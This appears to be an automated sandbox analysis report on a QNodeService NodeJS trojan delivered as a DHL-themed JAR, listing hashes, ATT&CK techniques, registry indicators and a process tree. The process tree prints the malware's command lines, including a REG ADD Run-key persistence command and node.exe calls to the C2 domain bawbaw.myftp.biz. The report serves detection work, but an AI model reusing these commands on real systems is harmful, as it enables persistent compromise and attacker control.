qnodeservice | 18cafc4113e5482196e129b68c4f17013327e0d300fb9d2aff3da81181d07c09

General

Target

DHL019011013938499911112IIUUU1223.jar
Size

93KB
MD5

56fd844515a26453fe9b201cd878524b
SHA1

36a95d044f50347710d3673d9b925f338c8b693c
SHA256

18cafc4113e5482196e129b68c4f17013327e0d300fb9d2aff3da81181d07c09
SHA512

69034e560c8124edc5b9edc32cc0c870348b3113c79e22cfde421d2373a368d04637caaba46dd614cbd7613e18946dd1ee749281c4b7a07caa89b414c8a749b7

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1268	node.exe
860	node.exe
2440	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\e54c979f-401c-47c8-afc9-265a59f6dc9b = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab63-160.dat	js
behavioral2/files/0x000100000001ab63-163.dat	js
behavioral2/files/0x000100000001ab63-167.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1268	node.exe
1268	node.exe
1268	node.exe
1268	node.exe
860	node.exe
860	node.exe
860	node.exe
860	node.exe
2440	node.exe
2440	node.exe
2440	node.exe
2440	node.exe
2440	node.exe
2440	node.exe
2440	node.exe
2440	node.exe
2440	node.exe
2440	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 500 wrote to memory of 3460	500	java.exe	76
PID 500 wrote to memory of 3460	500	java.exe	76
PID 3460 wrote to memory of 1268	3460	javaw.exe	80
PID 3460 wrote to memory of 1268	3460	javaw.exe	80
PID 1268 wrote to memory of 860	1268	node.exe	82
PID 1268 wrote to memory of 860	1268	node.exe	82
PID 860 wrote to memory of 2440	860	node.exe	83
PID 860 wrote to memory of 2440	860	node.exe	83
PID 2440 wrote to memory of 1020	2440	node.exe	85
PID 2440 wrote to memory of 1020	2440	node.exe	85
PID 1020 wrote to memory of 3280	1020	cmd.exe	86
PID 1020 wrote to memory of 3280	1020	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\DHL019011013938499911112IIUUU1223.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:500
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\8cd5bbf4.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3460
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain bawbaw.myftp.biz
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1268
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_b032eV\boot.js --hub-domain bawbaw.myftp.biz
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:860
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_b032eV\boot.js --hub-domain bawbaw.myftp.biz
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2440
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "e54c979f-401c-47c8-afc9-265a59f6dc9b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1020
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "e54c979f-401c-47c8-afc9-265a59f6dc9b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3280

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/860-164-0x0000002D3CC80000-0x0000002D3CC81000-memory.dmp

Filesize
4KB

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memory/1268-161-0x000002EA2ADC0000-0x000002EA2ADC1000-memory.dmp

Filesize
4KB

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memory/2440-168-0x0000023258E80000-0x0000023258E81000-memory.dmp

Filesize
4KB

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